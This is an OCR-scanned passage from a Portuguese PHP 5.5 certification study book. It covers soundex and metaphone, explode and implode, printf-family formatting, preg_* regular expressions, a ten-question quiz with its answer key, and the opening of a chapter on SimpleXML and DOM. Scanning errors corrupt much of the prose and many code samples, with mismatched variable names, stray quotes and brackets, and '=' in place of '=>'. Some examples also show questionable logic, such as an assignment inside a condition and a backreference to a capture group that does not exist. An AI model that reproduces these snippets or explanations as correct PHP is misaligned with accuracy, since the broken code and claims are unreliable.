Esse algoritmo foi desenvolvido para o fim de realizar
comparagdes fonéticas de palavras, até mesmo podera desconsiderar
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a forma de escrita da palavra. Por exemplo, meu nome é Michael
Douglas e existem pessoas que escrevem Michel Douglas. Porém,
foneticamente falando, Michael e Michel sao considerados
foneticamente iguais, assim sendo, caso alguém preencha meu
nome como Michael, serd considerado um booleano (true), por
exemplo:

$strl = soundex("Michael Douglas Barbosa Araujo");
$str2 = soundex("Michel Douglas Barbosa Araujo");

if($strli == $str2) {
echo 'oi';

Como vocé pode perceber, ao utilizarmos a fungdo soundex
(que sera vista logo em seguida), foi possivel analisar foneticamente
meu nome que poderia estar escrito de forma errada, e até mesmo
uma palavra contendo acento e outra ndo, como em nosso exemplo.
Michel Douglas Barbosa Araudjo foi analisado foneticamente e o
resultado é que sao parecidos foneticamente. Felizmente, o PHP da
suporte a esse algoritmo e, para utilizar, apenas basta que seja
chamada a fungdo soundex .

soundex

Quando usamos a fungdo soundex , o algoritmo gera uma
chave soundex ao receber a nossa palavra. Ou seja, poderiamos
armazenar essa chave, que equivale a uma pronuncia fonética dessa
palavra, e vocé podera comparar a similaridade de prontncia. No
meu caso, vamos obter a chave soundex do meu nome, o que nio
¢ nada complicado. Veja:
$strl = soundex("Michael Douglas Barbosa Araujo");
$str2 = soundex("Michel Douglas Barbosa Araujo");

var_dump($stri);
var_dump($str2);

Serd retornada a chave M243 . Nesse contexto, eu poderia
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alterar a condi¢ao ldégica para verificar a chave e comparar a

igualdade, por exemplo:

$strl = soundex("Michael Douglas Barbosa Araujo");
$str2 = soundex("Michel Douglas Barbosa Araujo");

if($stri == "M243" && $str2 = "M243") {
echo "OK";
Ou também poderiamos realizar a verificagdo dessa forma:

$strl = soundex("Michael Douglas Barbosa Araujo");
$str2 = soundex("Michel Douglas Barbosa Araujo");

if(($strl == $str2) == "M243") {
echo "OK";

Como vocé pode perceber, podemos realizar as verificagdes
fonéticas de nossas palavras de uma forma simples, apenas
utilizando a nossa fun¢do soundex . Caso queira ler mais
sobre a fungdo, segue o link da documentagio:
http://php.net/manual/pt_BR/function.soundex.php.

metaphone

Assim como em soundex , metaphone formara palavras a
partir de sua pronuncia. Esse algoritmo foi desenvolvido por
Lawrence Philips para solucionar problemas que a soundex ndo
consegue resolver, sendo assim, ela é mais precisa que a funcao
soundex . Veja:
$str1 = metaphone("Michael Douglas Barbosa Araujo");

$str2 = metaphone("Michel Douglas Barbosa Arauijo");
var_dump($stri);
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Como a fungdo metaphone ¢é mais precisa, ela gera a
metaphone key com tamanhos variados, porém em nossas
comparagdes, ela tem o mesmo efeito da soundex . Caso
queira ler mais sobre metaphone , entre em
http://php.net/manual/pt_BR/function.metaphone.php e
http://swoodbridge.com/DoubleMetaPhone/.

3.8 TRANSFORMANDO STRINGS

O PHP nos fornece algumas caracteristicas muito interessantes
quando vamos converter um tipo de dado em outro, como por
exemplo, transformar strings em arrays, utilizando um padrao para

delimitar essa conversao.

explode
$parametros = '1,2,3,4"';
$array = explode(',', $parametros);

Podemos utilizar esse tipo de manipulagdo quando queremos ter
um tratamento mais rigido dos dados enviados pelo usudrio. A
global $_GET ¢é o perfeito exemplo para isso. Vamos imaginar que
usudrio vai nos fornecer pela URL qual tipo de categoria que ele
deseja para realizar a busca em um site qualquer.

$_GET['categoria'] = 'caderno-estojo-caneta-borracha';
$categoria = $_GET['categoria'];
$categorias = explode('-', $categoria);

Podemos também limitar o tamanho retornado pela fungio
explode , passando o nimero maximo desejado. Vamos continuar
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com o nosso exemplo, e agora vamos limita-lo para que retorne

apenas as duas primeiras categorias informadas pelo usudrio.
$_GET['categoria'] = 'caderno-estojo-caneta-borracha';
$categoria = $_GET['categoria'l];

$categorias = explode('-', $categoria, 2);

Esse exemplo retornara apenas dois elementos dentro de um
array com o primeiro elemento contendo caderno , e o segundo o

resto da string estojo,caneta, borracha .

Array
(

[@] => caderno
[1] => estojo,caneta, borracha

Ao usarmos o terceiro parametro da funcdo explode ,
devemos nos atentar ao seu comportamento, pois esperamos
que o retorno do array seja limitado, e ndo que seja limitado a
sua aplicagao na string.

implode

Muitas vezes queremos fazer o caminho inverso da fungédo
explode , transformando um array em uma string. Para isso, existe
a fungdo implode .
$categorias = array(

'estojo',

'caneta',
'borracha’

)

print implode(',', $categorias);

Ao contrario da explode , a fungdo implode ndo possui um
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terceiro parametro, facilitando assim o seu entendimento e
manipulacdo. Nesse exemplo, fornecemos como primeiro
parametro qual "cola" queremos utilizar para juntar as posi¢des do
array e transforma-lo em string.

Utilizando a fun¢do implode , sio levados em consideracdo
apenas os valores dos arrays, as chaves sao menosprezadas,
independentemente se elas sao associativas ou numéricas.

$categorias = array(
'estojo' = 'a',
'caneta’ = 'b',
'"borracha' => 'c'

)i
print implode(',', $categorias); // a,b,c

$categorias = array(
0 => 'a',
1=>"b',
2 = 'c'

):

print implode(',', $categorias); // a,b,c

A documentagdo oficial do PHP possui alguns exemplos
utilizando essas fungdes, que vocé pode consultar em
http://php.net/manual/pt_BR/function.explode.php e em
http://php.net/manual/pt_BR/function.implode.php.

3.9 FORMATANDO SAIDA COM A FAMILIA
*PRINTF

O PHP nos fornece uma série de fungdes para formatar uma
string antes de ela ser exibida ou retornada. Mas antes de nos
atentarmos as fun¢des, vamos ver um pouco de como a formatagdo
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funciona. Para isso, seguiremos a tabela a seguir, que nos da qual o
item de formatacao e o que ele faz.

Opgao Descricao

b Argumento é tratado como inteiro, mas exibido como binario.

c Argumento é tratado como inteiro, mas exibido como caractere ASCII.

d Argumento é tratado como inteiro, mas exibido como decimal com sinal.

e Argumento é tratado como notagao cientifica (1.1e+2).

u Argumento é tratado como inteiro, mas exibido como decimal sem sinal.

f Argumento é tratado como float e exibido como float (respeita a localizagao).

Argumento ¢é tratado como float e exibido como float (mas ¢é independente da

F localizagdo utilizada).

0 Argumento é tratado como inteiro, mas exibido como octal.

s Argumento ¢é tratado como string e exibido como string.

< Argumento ¢ tratado como inteiro, mas exibido como numero hexadecimal
(com as letras do hexadecimal minusculas).

X Argumento ¢ tratado como inteiro, mas exibido como numero hexadecimal

(com as letras do hexadecimal maidsculas).

Para cada item da tabela, devemos usar o sinal de porcentagem
( % ) para realizarmos a formatagao. E para cada token indicado na
string, como por exemplo %s , %d e assim por diante, o PHP vai
substituir pela variavel indicada como pardmetro. Perceba que nesse
momento a ordem dos tokens e as variaveis importam.

printf('Certificacédo %s PHP %s', 'Zend', '5.5');

O exemplo anterior exibirda Certificacdo Zend PHP 5.5 ,
uma string formatada de acordo com os tokens e varidveis indicados
em suas respectivas posi¢des. O token um foi substituido pela
variavel um, e o token dois foi substituido pela variavel dois.

Porém, podemos alterar esse comportamento. E possivel utilizar
a variavel indicada na posi¢ao um para substituir o token niumero
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dois.
printf('Certificacdo %2$s PHP %1%$s', 'Zend', '5.5');

Agora, a string exibida é certificacdo 5.5 PHP Zend , que é
completamente diferente do primeiro exemplo. Repare em como
especificamos qual varidvel queremos logo ap6s o % , utilizando um
nimero. Para definir qual varidvel queremos, basta usarmos logo
apos o sinal % o nimero correspondente a ela.
printf('Meu nome é %2$s %1$s', 'Marabesi', 'Matheus'); // Meu nome

€ Matheus Marabesi

Ao utilizarmos esse tipo de estratégia, devemos tomar cuidado,
pois devemos saber exatamente quantos argumentos vao ser usados.
Isso porque, se indicarmos uma varidvel que ndo existe na lista de
parametros, o PHP exibird um WARNING .

printf('Tenho %2$s %1$s %3%s parametros', 'dois', 'um');
O exemplo vai produzir o seguinte WARNING :

PHP Warning: printf(): Too few arguments in /zce/strings/printf.p
hp on line 3

PHP Stack trace:

PHP 1. {main}() /zce/strings/printf.php:0

PHP 2. printf() /zce/strings/printf.php:3

warning: printf(): Too few arguments in /zce/strings/printf.php on
line 3

Call Stack:
0.0001 222222 1. {main}() /zce/strings/printf.php:0
0.0001 222222 2. printf() /zce/strings/printf.php:3

Uma outra caracteristica interessante aparece ao utilizarmos o
token %f para exibir varidveis float, no qual podemos definir
quantas casas decimais a direita vamos exibir. Esse tipo de
comportamento é muito util para exibir pregos de uma forma facil.

printf('PHP %f', 5.5);
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A primeira vista, esperamos que seja exibido apenas o valor em
float passado, mas temos uma surpresa ao executar o codigo
anterior: ele vai exibir PHP 5.500000 .

Para contornar isso, podemos especificar quantas casas decimais
queremos, indicando logo apds o sinal de porcentagem ( % ) um
ponto final e o numero desejado.

printf('PHP %.2f', 5.5); // PHP 5.50
printf('PHP %.1f', 5.5); // PHP 5.5

Até o momento, nos atentamos para a fun¢ao printf . Porém,
com PHP, possuimos algumas outras fungdes que possuem
exatamente o mesmo tipo de comportamento em relagio as
varidveis e aos tokens, mas aceitam diferentes pardmetros e
retornam diferentes valores.

Para comegar, vamos nos atentar para a fungdo sprintf . Ela
tem exatamente o mesmo comportamento da fun¢do printf ,
porém com uma Unica diferenca: ao utilizar sprintf , é retornada
a string formatada e, ao utilizarmos printf , é exibida a string
formatada. Vamos para um exemplo pratico para ficar mais claro:

printf('%s %s', '0la', 'PHP');
sprintf('%s %s', '0la', 'PHP');

No primeiro exemplo, temos o resultado desejado, ou seja, a
string 0la PHP ¢ exibida normalmente. Entretanto, no segundo
exemplo ndo obtemos nenhum resultado, pois a string é retornada,
e ndo automaticamente exibida. Sendo assim, devemos exibir a
string retornada como o exemplo a seguir:

echo sprintf('%s %s', '0la', 'PHP');

Seguindo nessa mesma linha, temos a fungdo vprintf , que sé
pelo nome e as fungdes apresentadas até aqui podemos deduzir o
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que faz. Ela tem o mesmo comportamento da func¢do printf ,
porém as varidveis a serem substituidas sdo passadas através de um
array.
vprintf('Certificacdo %s %s', [

'PHP',

'5.5"
1)

O nome da proxima fungdo é bem sugestivo também:
vsprintf . A Unica coisa diferente entre essa fungdo ea vprintf
¢ o retorno da string formatada, ndo é mais exibida.
vsprintf('Essa %s ird ser %s e ndo %s', [

'string’,

'retornada’,

'exibida’

1);

echo vsprintf('Utilizando %s conseguimos %s a %s formatada', [
'echo',
'exibir"',
'string’'
1)
E finalmente, chegamos a ultima fungdo que vamos abordar
aqui, que é a fprintf . Ela tem o comportamento exatamente igual
a func¢do printf , porém nos permite enviar uma string formatada

a um resource.
$file = fopen('meu-arquivo.txt', 'w+');
fprintf($file, '0la %s ', 'PHP');

No exemplo anterior, estamos usando a fung¢do fopen para

criar o nosso resource para ser escrito e, logo apos isso, escrevemos

0la PHP no arquivo indicado pelo resource. A fprintf ndo
aceita array como variaveis a serem substituidas pelos tokens.

$file = fopen('meu-arquivo.txt', 'w+');

fprintf($file, '0la %s ', [
'"PHP'
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1);

// Ird produzir 0la Array

Esse exemplo emitird um NOTICE e escrevera Array onde se
deseja substituir as variaveis.

PHP Notice: Array to string conversion in /zce/strings/fprintf.ph
p on line 5

PHP Stack trace:

PHP 1. {main}() /zce/strings/fprintf.php:0

PHP 2. fprintf() /zce/strings/fprintf.php:5

Notice: Array to string conversion in /zce/strings/fprintf.php on
line 5

Call Stack:
0.0001 232222 1. {main}() /zce/strings/fprintf.php:0
0.0002 233333 2. fprintf() /zce/strings/fprintf.php:5

3.10 EXPRESSOES REGULARES

Expressoes regulares por si s6 ja merecem um livro a ser escrito,
porém aqui focaremos basicamente em como utilizar expressoes
regulares com fungdes do PHP. Porém, antes de comegarmos,
vamos entender como o PHP utiliza as expressoes regulares e quais
as possibilidades que temos.

POSIX e PCRE

O padrao POSIX era utilizado até a versdo 5.3 do PHP e, a partir
dessa versdo, esse padrao foi depreciado e, entdo, foi adotado o uso
do padrao PCRE (Perl Compatible Regular Expressions). Felizmente,
o padrao POSIX ndo é coberto pela prova de certificagio do PHP
5.5, 0 que nos faz focar totalmente no padrao PCRE.

Se vocé tem alguma familiaridade com a familia de fungoes
POSIX, veja a seguir as fungoes correspondentes no padrdao PCRE.

POSIX PCRE
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ereg_replace() preg_replace()

ereg() preg_match()
eregi_replace() preg_replace()
eregi() preg_match()
split() preg_split()
spliti() preg_split()

Uma das grandes diferencas entre os padroes ¢ que, com o
POSIX, nédo era necessario usar o delimitadores para as expressoes
regulares (/, #e ~ ).

ereg('[a-zA-Z]'); // Valido para o padrao POSIX

Mas, com o padrio PCRE, ¢ obrigatério o wuso dos
delimitadores, como no exemplo seguinte, no qual estamos
utilizando o delimitador / .
preg_match('/[a-zA-Z]/'); // Vvalido padrao PCRE

preg_match('#[a-zA-Z]#'); // valido padrao PCRE
preg_match('~[a-zA-Z]~"'); // valido padrao PCRE

Caso ndo seja utilizado o delimitador, um WARNING ¢ exibido.

// Utilizando a fungdo preg_match
PHP Warning: preg_match(): Delimiter must not be alphanumeric or
backslash

// Utilizando a func¢do preg_match_all
PHP Warning: preg_match_all(): Delimiter must not be alphanumeric
or backslash

Vocé pode encontrar maiores informagoes sobre delimitadores
na documentagio oficial do PHP, em
http://php.net/manual/pt_BR/regexp.reference.delimiters.php.
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preg_match

A primeira fun¢do que vamos ver é a preg_match , que aplica a
expressdo que desejarmos a uma string. A maneira mais basica de
utiliza-la é passando dois argumentos.

$texto = 'Livro de certificagéo PHP';
$padrao = '/Livro/';

if (preg_match($padrao, $texto)) {
print 'Padrdo encontrado';

Repare que a fun¢do preg_match retorna um valor booleano.
Se encontrar o padrao desejado no texto true , é retornado; caso
contrario, false ¢ retornado. No nosso exemplo, utilizamos um
padrao bem simples, no qual queremos encontrar no texto a palavra

Livro e nada mais.

Padrdo encontrado

E possivel também retornarmos os padrdes encontrados no
texto. Para isso, devemos passar uma varidavel como terceiro

parametro para a fun¢do preg_match .

$texto = 'Livro de certificacdo PHP';
$padrao = '/Livro/';

preg_match($padrao, $texto, $ocorrencias);
print_r($ocorrencias);

O terceiro parametro deve ser obrigatoriamente uma variavel,
pois esse parametro é passado como referéncia e é modificado
internamente pela fun¢ao com os resultado encontrados.

Array

(

[0] => Livro

Como vocé pode ver, foi retornada apenas uma ocorréncia, pois
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no texto que estamos usando existe apenas uma palavra Livro. Se
nenhuma ocorréncia for encontrada, um array vazio ¢ retornado.
Sim, podemos fazer a verificagdo para saber se existem ocorréncias
através da varidvel $ocorrencias . Se existir algum elemento
dentro do array, isso significa que a fun¢do encontrou o padrio
desejado dentro do texto; caso contrdrio, nenhum padrdo foi
encontrado. Realizar essa verificacdo através do retorno da fun¢io

preg_match ou através do terceiro parametro passado para a
funcao fica a seu critério.

preg_match_all

Uma vez entendido como utilizamos a fungdo preg_match ,
fica muito simples usar a fungdo preg_match_all , pois ela tem o
mesmo comportamento, com pequenas diferengas, como as flags
utilizadas e o seu modo de busca, que ¢ feito de uma maneira global
no texto. Além de que preg_match foi desenvolvida para retornar
o mais rdpido possivel, ou seja, assim que encontrar o padrio
necessario, sera retornado e niao sera mais feita a busca no resto do

texto.
$texto = 'Livro de certificacdo PHP, outro Livro';
$padrao = '/Livro/';

preg_match($padrao, $texto, $ocorrencias);
print_r($ocorrencias);

Fizemos algumas modificagdes no texto utilizado, agora ele

possui duas vezes a palavra Livro e estamos utilizando a fungédo

preg_match . Infelizmente, ao executar esse script, ndo obtemos as
duas ocorréncias no texto, obtemos apenas uma.

Array
(

[0] => Livro

72  3.10 EXPRESSOES REGULARES



Isso ocorre porque a fun¢do preg_match retorna o mais rapido
possivel ao encontrar o padrao desejado. Ou seja, ela ndo chega até a
segunda palavra Livro no texto. Para que possamos obter o
resultado desejado, devemos utilizar a fungdo preg_match_all .

preg_match_all($padrao, $texto, $ocorrencias);

E agora o resultado esperado ¢ obtido:

Array
(
[0] => Array
(
[0] => Livro
[1] => Livro

Além dos pardmetros exibidos, existem mais dois: um que é
utilizado para mudar o tipo de retorno da fungdo
preg_match / preg_match_all (chamada de $flag ), e
outro que utilizamos para dizer de onde a fungdo
preg_match / preg_match_all deve comegar a procurar
pelo padrio dado na expressio regular (chamada de
$offset ). Para isso, verifique o manual oficial do PHP, em
http://php.net/manual/pt_BR/function.preg-match.php.

preg_replace

Além de buscar padrdes nas strings, o PHP nos fornece uma
fungdo que nos permite trocar os valores correspondentes de uma
expressdo regular. Ou seja, quando é encontrada uma expressio
correspondente no texto, ela é trocada por outro texto desejado.
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$texto = 'Vamos aplicar uma expressdo aqui!';
print preg_replace('/!/', '?', $texto);

No nosso exemplo anterior, apenas trocamos o ponto de
exclamacao pelo de interrogacao através da nossa expressao regular.
A fun¢ao preg_replace nos fornece muito mais do que apenas
realizar a troca entre textos. Podemos também informar uma série
de padrdes dentro de um array para ser substituido no texto. Vamos
continuar utilizando o contetddo da variavel $texto para o nosso
exemplo.

print preg_replace(['/aqui/', '/!/'], '?', $texto);

Ao informarmos uma série de padroes dentro do array e uma
string como segundo parametro, que ¢ o que desejamos que fique ao
realizar a troca, todos os padrdes encontrados serdo trocados pela
string desejada.

Vamos aplicar uma expressdo ??

Como temos dois padroes de expressdes regulares no nosso
preg_replace (a palavra aqui e o sinal ! ), ao encontrar
qualquer um deles, a fungéo trocou pelo sinal de interrogagao. Além
disso, podemos também usar referéncias aos padrdes encontrados
para inverté-los. Veja que podemos referenciar os padroes
encontrados pela notagdo ${1} para a primeira ocorréncia, ${2}
para referenciar a segunda ocorréncia, e assim por diante.

$texto = 'O evento sera dia 11/12 n&do perca a reprize no dia 22/10

print preg_replace('/\/\d{2}/', '${1}', $texto);

Nesse exemplo, fazemos uma simples substitui¢do ao encontrar
o padrdo \/\d{2} (uma barra seguida de dois nimeros) para os
dois primeiros numeros das datas. Veja o resultado que obtemos:

0 evento seré dia 11 néo perca a reprize no dia 22
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Segundo
padrao
Primeiro padriao encontrado encontrado

O evento serd dia 11/11, ndo perca a reprise no dia 22/22

o o

$l1} ${1}

Figura 3.2: Exemplo de como referenciar padrées encontrados na string

Vocé deve estar imaginando que para utilizar o més em vez do
dia na nossa fun¢do preg_replace , basta utilizar a referéncia
${2} . Mas nao ¢ bem isso o que ocorre, pois a nossa expressao
regular busca pelo padrao \/\d{2} , ou seja, uma barra seguida de
dois nimero como /11, /22, /10, /99.

print preg_replace('/\/\d{2}/"', '${2}', $texto);
Ao executar esse script, temos o seguinte resultado:
0 evento serd dia 11 n&do perca a reprize no dia 22

Como ndo ha nenhuma ocorréncia encontrada, a funcio
preg_replace assume a primeira e, caso nem a primeira seja
encontrada, o PHP substituird por um espaco em branco se a
expressdo regular nao retornar nenhum resultado.

Agora que ja temos uma visio geral de como utilizar
preg_replace , podemos entrar nos detalhes da utilizagdo dos dois
ultimos parametros. O primeiro que vamos ver é como limitar o
numero de substituicao dos padrdes encontrados.

$texto = '!Vamos aplicar uma expressdo aqui!';
print preg_replace('/!/', '', $texto, 1);

Nesse novo exemplo, repare que temos agora dois pontos de
exclamagdo, e adicionamos o valor 1 para o quarto parametro, o que
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limita o nimero de substitui¢des caso seja encontrado o padrdo no
texto para 1.

Vamos aplicar uma expressdo aqui!

Dessa vez, a funcdo substituiu apenas o primeiro ponto de
interrogacao gragas a nossa limitagdo. O valor padrao para esse
pardmetro é -1 e, assim que ¢é encontrado um padrio

correspondente, a func¢io vai realizar a substituicao.

7

E, finalmente, temos o nosso ultimo parametro, que é muito
simples de se utilizar:

$texto = '!vamos aplicar uma expressdo aqui!';
$total = 0O;
preg_replace('/!'/', '', $texto, -1, $total);

print $total;

Informando o quarto pardmetro para a fun¢io preg_replace ,
obtemos o numero total de substituicoes feitas no texto. Em nosso

exemplo, estamos eliminando os pontos de exclamagio do texto.

2

Como a nossa expressao regular esta bem simples, é bem facil de
entender que obteremos o valor dois, pois existem dois pontos de
interroga¢ao no nosso texto que foram eliminados.

A func¢ao preg_replace possui diversos exemplos na
documenta¢do oficial para auxiliar no entendimento. Para
acessa-la e se aprofundar mais no assunto, entre em
http://php.net/manual/en/function.preg-replace.php.
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3.11 STRINGS E MAIS STRINGS

No histdrico de certificagoes PHP, funcdes que operam em
strings sdo muito cobradas durante a prova. Na versdo 5.3 da prova,
existiam mais do que na versdo 5.5, pois novas funcionalidades
foram surgindo e tomando lugar. E bom ressaltar que strings e
expressdes regulares sdo assunto de extrema importancia e, neste
livro, nao foi possivel abranger todas as fungdes possiveis, mas sim
as que mais se destacam na prova, facilitando entio o estudo.

3.12 TESTE SEU CONHECIMENTO

1) Qual é a saida gerada ao executar o codigo a seguir?

$string = 'abcda';
$procurar = 'a';

$pos = strpos($string, $procurar);

if (!'$pos) {
echo "ndo encontrei";

}
else {

echo "encontrei " . $pos;

}
2) Qual a principal diferen¢a entre HEREDOC e NOWDOC ?
a) NOWDOC permite utilizar blocos de texto com aspas simples.

b) HEREDOC finaliza um bloco de texto comecando no primeiro caract
ere, mas NOWDOC permite indentar o final do bloco.

c) NOWDOC ndo interpreta variaveis, mas HEREDOC interpreta.
3) Qual é a saida gerada pelo codigo a seguir?
function append($str)

{
$str = $str.'append’;

}
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function prepend(&$str)

{

$str = 'prepend’'.$str;
}
$string = 'zce';

append(prepend($string));
echo $string;

a) zce
b) prependzce
c) prependzceappend
d) zceappend
4) Qual é a saida gerada pelo cédigo a seguir?
$string = "14112";
$string[$string[2]] = "4";

print $string;

5 Qual ¢ o valor da varidvel $foo apés executar o cédigo a
seguir?
$foo = strpos("I can see two monkeys.", 111);
6) Qual a saida gerada pelo cédigo a seguir?
$string = 'Hello World';
for ($i = 0; $i < strlen($string); $i++) {
print $string[$i];

}

7) Qual fungdo utilizamos para descobrir o tamanho de uma
string?

a) length
b) size
c) strlen

d) count
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8) Qual padrao de expressao regular é utilizado pelo PHP?

9) O que o codigo a seguir vai fazer?

$var
$str

2;
'aabbccddeeaabbccdd';

echo str_replace('a', 'z', $str, $var);

a) Substituir todos os “'a'® por "'z'" e colocar quantos caractere
s foram substituidos na varidvel “$var’.

b) Substituir apenas os dois primeiros “'a'" com " 'z'"

Cc) 2 é um parametro passado para a funcdo “str_replace’ que remove
ra todos os caracteres existentes na string, menos os informados n
essa variavel.

10) Qual fungao utilizamos para criar um array a partir de
uma string?

3.13 UM MUNDO SEM FIM DAS STRINGS

Neste capitulo, abordamos diversas formas de manipulagao de
strings e padroes, mas infelizmente foi apenas uma parte do todo. O
PHP fornece uma gama de fungdes enorme para se trabalhar com
strings, e aqui apresentamos o que acreditamos ser de maior
relevincia para a prova, até porque existe o manual do PHP para
consultas mais avancadas.

De uma atengdo também as fun¢ées como hex2bin , que
transformam hexadecimal em bindrios; e bin2hex que realiza
exatamente o oposto, transforma bindrio em hexadecimal.
Voltando-nos para a web, temos a funcdo htmlentities , que
converte caracteres HTML para suas respectivas entidades, e
também a fungdo nl2br , que transforma novas linhas em uma tag
HTML chamada <br/> .

Como vocé ja deve ter reparado, além de tudo apresentado aqui
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neste capitulo, hd uma longa jornada pela frente para descobrir o
que o PHP tem a nos oferecer quando manipulamos strings, mas
ndo desanime. Para isso, temos a documentagdo oficial, onde
podemos consultar e estudar. Ela pode ser conferida em
http://php.net/manual/pt_BR/ref.strings.php.

3.14 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso ndo, ndo
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!

QUESTOES

Questao 1 - Resposta correta: ndo encontrei
Questao 2 - Resposta correta: ¢

Questdo 3 - Resposta correta: b

Questao 4 - Resposta correta: 14112
Questio 5 - Resposta correta: 10

Questao 6 — Resposta correta: Hello World
Questio 7 - Resposta correta: ¢

Questao 8 - Resposta correta: PCRE
Questao 9 - Resposta correta: a

Questao 10 - Resposta correta: explode
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CapiTuLO 4

XML, JSON E UTILIZACAO
DE DATAS

O PHP nasceu da necessidade de se ter uma forma mais facil de
desenvolver aplicagoes web. Hoje, ele suporta HTML, XML e JSON,
e possui especificas fun¢des para seu uso. Para a prova de
certificacdo, devemos estar familiarizados com a manipula¢io desses
tipos de dados. Neste capitulo, vamos conhecer as fung¢oes
fornecidas pelo PHP para a sua manipulagao e também validagao.

De fato, a prova exige um bom conhecimento e dominio sobre
essas tecnologias, entdo recomendo, antes de prosseguir a leitura,
que dé uma revisada nos conceitos que abrangem HTML, XML e
JSON.

Se vocé ja se sente familiar com essas tecnologias, va em frente.
Aqui procuramos expor o maximo do que o PHP nos oferece para
se trabalhar através de APIs que existem desde a versao 5.0 do PHP.

4.1 SIMPLE_XML_*, SIMPLEXMLELEMENT

Com PHP, temos algumas opg¢des para manipular XML, como
por exemplo, a simplexml_* . Esse tipo de utilizacdo estd mais
voltado para a praticidade em versdes anteriores do PHP 5.2, e em
outras versdes que ndo possuiam uma forte cultura orientada a
objetos. Para as fun¢des adiante, o PHP usa uma extensao chamada

libxml , para fornecer algumas funcionalidades relacionadas ao
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XML.

$meuxXML = '<root/>';
simple_xml_load_string($meuxML);

Nesse exemplo, temos o modo mais simples de se utilizar a
func¢ao, passando apenas a string contendo um XML valido. Porém,
temos varios outros argumentos para usar essa fun¢do, como por
exemplo, passar o nome da classe que queremos que a fungdo
retorne como objeto para nos.

$meuxXML = '<root/>';
simple_xml_load_string($meuxXML, 'SimpleXMLElement');

Isso torna o gerenciamento do XML muito flexivel, pois
podemos escrever nossa propria classe e utiliza-la.

class MeuSimpleXml extends SimpleXMLElement {}
$meuxXML = '<root/>"';
simple_xml_load_string($meuXML, 'MeuSimplesXml');

Como terceiro parametro para a fun¢ao

simple_xml_load_string , podemos passar constantes
diretamente relacionadas a extensdo libxml , por exemplo, a
constante LIBXML_NOERROR , que suprime (ou seja, "esconde”) os
erros durante o processo.

Para uma lista de todas as constantes disponiveis, veja no
manual oficial do PHP, em
http://php.net/manual/pt_BR/libxml.constants.php.
simple_xml_load_string($meuxXML, 'SimpleXMLElement', LIBXML_NOERROR
)i

A utilizagdo de namespace com XML é muito comum também,
ea simplexml_load_string nos fornece uma maneira muito facil

de utilizar os nds de um determinado namespace .

simple_xml_load_string($meuXML, 'SimpleXMLElement', LIBXML_NOERROR
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, 'namespace');

Por ultimo, temos o pardmetro para informar se existe um
prefixo ou néo.

Agora que ja sabemos como usar a funcdo
simplexml_load_string , é possivel aplicar os mesmos
conhecimentos na fun¢do simplexml_load_file , pois todos os
pardmetros da fungdo simplexml_load_string sdo validos para
ela. A unica diferenca que devemos ter em mente é que, com a
simplexml_load_file , informamos o caminho de um arquivo e,
com a simplexml_load_string , informamos uma string
contendo o XML.

Utilizando a classe =~ SimpleXMLElement , conseguimos

representar um ou varios elementos existentes em um documento
XML.

$meuxXml = <<<XMLDATA
<zce>
<basico>
<sintaxe>
PHP tags, Bitwise
</sintaxe>
</basico>
</zce>
XMLDATA;

A sSimplexXMLElement nos fornece uma maneira muito facil de
acessar elementos XML como se fossem objetos.

$meuxXml = new SimpleXMLElement ($meuXml);
$meuxml->basico; //ira retornar um objeto SimplexXMLElement

Ou podemos utilizar os métodos fornecidos pela classe para
acessar seus nos.

$meuxXml = new SimpleXMLElement ($meuXml);
$meuxXml->children(); //iréa retornar um objeto SimpleXMLElement

Um ponto interessante de se notar ao acessar elementos é que
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ndo precisamos referenciar o n6 raiz do documento XML, que no
nosso caso ¢ o zce . Dessa maneira, fica facil acessarmos seus nds

filhos diretamente, como mostrado no exemplo.

O PHP fornece muito mais do que essas classes para
manipulacgito de XML, por exemplo, wusar um
SimpleXMLIterator para iterar sobre todos os nés do seu
XML, um parser para definir diferentes tipos de manipulagoes
para diferentes eventos, entre outros. Para uma lista completa
sobre o que o PHP fornece para manipula¢io de XML, utilize a
documentagao oficial, em
http://php.net/manual/en/refs.xml.php.

4.2 DOM (DOCUMENT OBJECT MODEL)

O PHP nos oferece uma op¢ao de manipular XML através da
DOM API. O DOM (Document Object Model) é¢ uma interface para
documentos XML, HTML e também SVG. Essa API nos fornece
uma representacdo da estrutura do documento, e define também
como essa estrutura pode ser manipulada. Assim como o

SimpleXMLELement , a DOM API nos fornece uma representagdo
do documento através de objetos. Programadores web estdio bem
familiarizados com ela, pois JavaScript, por exemplo, utiliza essa
representagdo para acessar os elementos de uma pagina HTML.
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No PHP, a DOM API nos fornece diversas classes para
utilizarmos. Para conferir todos os detalhes existentes,
verifique a documentagio oficial, em
http://php.net/manual/en/book.dom.php.

A classe principal a que vamos nos atentar agora é a
DOMDocument , que de fato representa um documento XML inteiro.
Podemos usd-la de diferentes maneiras, como lendo um arquivo
XML de um determinado diretdrio:

$load = new DOMDocument();
$load->1load('/caminho/para/arquivo/meu.xml');

Ou carregando informagdes a partir de um texto com
formatagdo HTML:

$loadHtml = new DOMDocument();
$loadHtml->loadHTML( '<html><p>Hello</p><br></html>");

Até mesmo, carregar dados de um arquivo HTML:

$loadHtmlFile = new DOMDocument();
$loadHtmlFile->loadHTMLFile('/caminho/para/arquivo/meu.html’');

Ou, da maneira mais basica, através de um texto puro em XML:

$loadString = new DOMDocument();
$loadString->loadXML( '<root><nome>PHP</nome></root>);

43 COMBINANDO DOMDOCUMENT E
SIMPLEXMLELEMENT

O PHP nos proporciona intmeras possibilidades ao
trabalharmos com XML, inclusive o fato de podermos converter um
objeto SimpleXMLElement para um DOMNode , ou vice-versa.
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$no = new DOMDocument();
$no->loadXML( '<root></root>");

simplexml_import_dom($no);

Temos a possibilidade de informar a classe na qual o objeto sera
convertido, o que nos da bastante flexibilidade para criar nossa
propria classe para utilizar com o SimpleXMLElement .

class MeuElemento extends SimpleXMLElement {3}

$no = new DOMDocument();
$no->loadXML( '<root/>");

simplexml_import_dom($no, 'MeuElemento');

E podemos converter um DOMNode para um
SimpleXMLElement .

$no = new SimpleXMLElement('<root/>');

dom_import_simplexml($no);

4.4 XPATH E DOMDOCUMENT

O xpath nos fornece uma maneira elegante de encontrarmos
nés em um documento XML, através de padroes. Esses padroes se
parecem com uma URL. Veja o nosso primeiro exemplo:

$xml = '
<biblioteca>
<livro id="1">
<nome>PHP</nome>
<descricao>Aprenda PHP</descricao>
</livro>
</biblioteca>

[
14

$documento = new DOMDocument();
$documento->loadXML ($xml);

$xpath = new DOMXpath($documento);
$elemento = $xpath->query('/biblioteca/livro');
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print_r($elemento);

